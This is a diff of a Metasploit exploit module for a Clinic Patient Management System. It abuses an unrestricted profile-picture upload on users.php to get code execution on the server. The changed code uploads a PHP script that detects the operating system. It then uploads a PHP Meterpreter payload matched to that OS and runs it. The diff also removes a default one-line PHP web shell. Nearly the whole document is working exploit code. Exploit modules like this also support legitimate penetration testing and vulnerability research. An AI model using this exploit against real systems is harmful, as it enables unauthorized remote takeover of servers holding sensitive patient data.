66class MetasploitModule < Msf ::Exploit ::Remote
77 Rank = ExcellentRanking
88 include Msf ::Exploit ::Remote ::HttpClient
9+ include Msf ::Exploit ::PhpEXE
910
1011 def initialize ( info = { } )
1112 super (
@@ -46,85 +47,168 @@ def initialize(info = {})
4647
4748 register_options ( [
4849 OptString . new ( 'TARGETURI' , [ true , 'Base path to the Clinic Patient Management System' , '/pms' ] ) ,
49- OptString . new ( 'PHP_PAYLOAD' , [ false , 'Custom PHP payload to upload' , "<?php echo shell_exec($_GET['cmd']); ?>" ] ) ,
5050 OptInt . new ( 'LISTING_DELAY' , [ true , 'Time to wait before retrieving directory listing (seconds)' , 2 ] )
5151 ] )
5252 end
5353
5454 def check
5555 print_status ( 'Checking if target is vulnerable...' )
5656
57- # Check for /pms/users.php endpoint availability
58- print_status ( 'Testing /pms/users.php for upload functionality ...')
59- res_users = send_request_cgi ( {
57+ # Step 1: Retrieve PHPSESSID
58+ vprint_status ( 'Fetching PHPSESSID from the server ...')
59+ res_session = send_request_cgi ( {
6060 'uri' => normalize_uri ( target_uri . path , 'users.php' ) ,
6161 'method' => 'GET'
6262 } )
6363
64- if res_users && res_users . code == 200 && res_users . body . include? ( '<form' )
65- print_good ( '/pms/users.php endpoint is accessible!' )
66- else
67- print_error ( '/pms/users.php endpoint is not accessible.' )
64+ unless res_session && res_session . code == 302 && res_session . get_cookies
65+ print_error ( 'Failed to retrieve PHPSESSID. Target may not be vulnerable.' )
66+ return CheckCode ::Safe
67+ end
68+
69+ phpsessid = res_session . get_cookies . match ( /PHPSESSID=([^;]+)/ ) [ 1 ]
70+ vprint_good ( "Obtained PHPSESSID: #{ phpsessid } " )
71+
72+ # Step 2: Attempt File Upload
73+ dummy_filename = "#{ Rex ::Text . rand_text_alphanumeric ( 8 ) } .txt"
74+ dummy_content = Rex ::Text . rand_text_alphanumeric ( 20 )
75+ dummy_name = Rex ::Text . rand_text_alphanumeric ( 6 )
76+ post_data = Rex ::MIME ::Message . new
77+ post_data . add_part ( dummy_name , nil , nil , 'form-data; name="display_name"' )
78+ post_data . add_part ( dummy_name , nil , nil , 'form-data; name="user_name"' )
79+ post_data . add_part ( dummy_name , nil , nil , 'form-data; name="password"' )
80+ post_data . add_part ( dummy_content , 'text/plain' , nil , "form-data; name=\" profile_picture\" ; filename=\" #{ dummy_filename } \" " )
81+ post_data . add_part ( '' , nil , nil , 'form-data; name="save_user"' )
82+
83+ vprint_status ( "Uploading dummy file #{ dummy_filename } ..." )
84+ res_upload = send_request_cgi ( {
85+ 'uri' => normalize_uri ( target_uri . path , 'users.php' ) ,
86+ 'method' => 'POST' ,
87+ 'ctype' => "multipart/form-data; boundary=#{ post_data . bound } " ,
88+ 'data' => post_data . to_s ,
89+ 'cookie' => "PHPSESSID=#{ phpsessid } "
90+ } )
91+
92+ unless res_upload && res_upload . code == 302
93+ print_error ( 'File upload attempt failed. Target may not be vulnerable.' )
6894 return CheckCode ::Safe
6995 end
96+ vprint_good ( 'Dummy file uploaded successfully.' )
7097
71- # Check if directory listing is enabled on /pms/user_images
72- print_status ( 'Checking for directory listing on /pms/user_images...')
98+ # Step 3: Verify File in Directory Listing
99+ vprint_status ( 'Verifying uploaded file in /pms/user_images...')
73100 res_listing = send_request_cgi ( {
74101 'uri' => normalize_uri ( target_uri . path , 'user_images/' ) ,
75- 'method' => 'GET'
102+ 'method' => 'GET' ,
103+ 'cookie' => "PHPSESSID=#{ phpsessid } "
76104 } )
77105
78- if res_listing && res_listing . code == 200 && res_listing . body . include? ( '<a href="' )
79- print_good ( 'Directory listing is enabled on /pms/user_images!' )
106+ if res_listing && res_listing . code == 200 && res_listing . body . include? ( dummy_filename )
107+ vprint_good ( "File #{ dummy_filename } found in /pms/user_images. Target is vulnerable!" )
80108 return CheckCode ::Vulnerable
81109 else
82- print_error ( 'Directory listing is not enabled on /pms/user_images.' )
110+ vprint_error ( "File #{ dummy_filename } not found in /pms/user_images. Target may not be vulnerable." )
83111 return CheckCode ::Appears
84112 end
85113 end
86114
87115 def upload_shell
88116 random_user = Rex ::Text . rand_text_alphanumeric ( 8 )
89117 random_password = Rex ::Text . rand_text_alphanumeric ( 12 )
90- filename = Rex ::Text . rand_text_alphanumeric ( 8 ) + '.php'
118+ detection_basename = Rex ::Text . rand_text_alphanumeric ( 8 ) . to_s
119+ detection_filename = "#{ detection_basename } .php"
91120
92- # Generate the PHP Meterpreter payload
93- print_status ( 'Generating PHP Meterpreter payload...' )
94- payload_content = payload . encoded
121+ # Step 1: Detect the OS
122+ detection_script = <<~PHP
123+ <?php
124+ echo PHP_OS . "\\ n";
125+ ?>
126+ PHP
95127
128+ vprint_status ( "Uploading OS detection script as #{ detection_filename } ..." )
96129 post_data = Rex ::MIME ::Message . new
97130 post_data . add_part ( random_user , nil , nil , 'form-data; name="display_name"' )
98131 post_data . add_part ( random_user , nil , nil , 'form-data; name="user_name"' )
99132 post_data . add_part ( random_password , nil , nil , 'form-data; name="password"' )
100- post_data . add_part ( payload_content , 'application/x-php' , nil , "form-data; name=\" profile_picture\" ; filename=\" #{ filename } \" " )
133+ post_data . add_part ( detection_script , 'application/x-php' , nil , "form-data; name=\" profile_picture\" ; filename=\" #{ detection_filename } \" " )
101134 post_data . add_part ( '' , nil , nil , 'form-data; name="save_user"' )
102135
103- print_status ( "Uploading PHP Meterpreter payload as #{ filename } ..." )
104- print_status ( "Using random username: #{ random_user } " )
105- print_status ( "Using random password: #{ random_password } " )
106-
107136 res = send_request_cgi ( {
108137 'uri' => normalize_uri ( target_uri . path , 'users.php' ) ,
109138 'method' => 'POST' ,
110139 'ctype' => "multipart/form-data; boundary=#{ post_data . bound } " ,
111140 'data' => post_data . to_s
112141 } )
113142
114- if res
115- print_status ( "Server response: #{ res . code } #{ res . message } " )
116- print_status ( "Response body: #{ res . body [ 0 , 500 ] } " ) # Limit to 500 chars
143+ fail_with ( Failure ::UnexpectedReply , 'Failed to upload OS detection script' ) unless res && res . code == 302
144+ vprint_good ( 'OS detection script uploaded successfully!' )
145+
146+ # Step 2: Retrieve the actual uploaded filename
147+ vprint_status ( 'Retrieving directory listing to identify detection script...' )
148+ sleep datastore [ 'LISTING_DELAY' ]
149+
150+ res_listing = send_request_cgi ( {
151+ 'uri' => normalize_uri ( target_uri . path , 'user_images/' ) ,
152+ 'method' => 'GET'
153+ } )
154+
155+ fail_with ( Failure ::UnexpectedReply , 'Failed to retrieve directory listing' ) unless res_listing && res_listing . code == 200
156+
157+ matches = res_listing . body . scan ( /<a href="(\d +#{ Regexp . escape ( detection_basename ) } \w *\. php)"/ )
158+ fail_with ( Failure ::NotFound , 'Uploaded OS detection script not found in directory listing' ) if matches . empty?
159+
160+ actual_detection_filename = matches . first . first
161+ vprint_status ( "Detected script filename: #{ actual_detection_filename } " )
162+
163+ # Step 3: Execute the detection script
164+ detection_url = normalize_uri ( target_uri . path , 'user_images' , actual_detection_filename )
165+ vprint_status ( "Executing OS detection script at #{ detection_url } ..." )
166+ res = send_request_cgi ( {
167+ 'uri' => detection_url ,
168+ 'method' => 'GET'
169+ } )
170+
171+ fail_with ( Failure ::UnexpectedReply , 'Failed to execute OS detection script' ) unless res && res . code == 200
172+ detected_os = res . body . strip . downcase
173+ print_status ( "Detected OS: #{ detected_os } " )
174+
175+ # Step 4: Choose payload based on OS
176+ if detected_os . include? ( 'win' )
177+ payload_content = get_write_exec_payload
178+ print_status ( 'Target is Windows. Using standard PHP Meterpreter payload.' )
117179 else
118- fail_with ( Failure ::UnexpectedReply , 'No response received from the server' )
180+ payload_content = get_write_exec_payload ( unlink_self : true )
181+ print_status ( 'Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.' )
119182 end
120183
184+ # Step 5: Upload the payload
185+ payload_basename = Rex ::Text . rand_text_alphanumeric ( 8 ) . to_s
186+ payload_filename = "#{ payload_basename } .php"
187+ print_status ( "Uploading PHP Meterpreter payload as #{ payload_filename } ..." )
188+
189+ post_data = Rex ::MIME ::Message . new
190+ random_user = Rex ::Text . rand_text_alphanumeric ( 8 )
191+ random_password = Rex ::Text . rand_text_alphanumeric ( 12 )
192+ post_data . add_part ( random_user , nil , nil , 'form-data; name="display_name"' )
193+ post_data . add_part ( random_user , nil , nil , 'form-data; name="user_name"' )
194+ post_data . add_part ( random_password , nil , nil , 'form-data; name="password"' )
195+ post_data . add_part ( payload_content , 'application/x-php' , nil , "form-data; name=\" profile_picture\" ; filename=\" #{ payload_filename } \" " )
196+ post_data . add_part ( '' , nil , nil , 'form-data; name="save_user"' )
197+
198+ res = send_request_cgi ( {
199+ 'uri' => normalize_uri ( target_uri . path , 'users.php' ) ,
200+ 'method' => 'POST' ,
201+ 'ctype' => "multipart/form-data; boundary=#{ post_data . bound } " ,
202+ 'data' => post_data . to_s
203+ } )
204+
121205 fail_with ( Failure ::UnexpectedReply , 'Failed to upload PHP payload' ) unless res && res . code == 302
122206 print_good ( 'Payload uploaded successfully!' )
123- filename
207+ payload_filename
124208 end
125209
126210 def fetch_uploaded_filename
127- print_status ( 'Retrieving directory listing from /pms/user_images...' )
211+ vprint_status ( 'Retrieving directory listing from /pms/user_images...' )
128212 sleep datastore [ 'LISTING_DELAY' ] # Allow time for the file to be saved on the server
129213
130214 res = send_request_cgi ( {
@@ -149,14 +233,7 @@ def execute_shell(uploaded_file)
149233 send_request_cgi ( {
150234 'uri' => shell_url ,
151235 'method' => 'GET'
152- # 'vars_get' => { 'cmd' => 'id' }
153236 } )
154-
155- # if res && res.code == 200
156- # print_good("Command executed successfully! Output:\n#{res.body}")
157- # else
158- # fail_with(Failure::UnexpectedReply, 'Failed to execute the uploaded shell')
159- # end
160237 end
161238
162239 def exploit
0 commit comments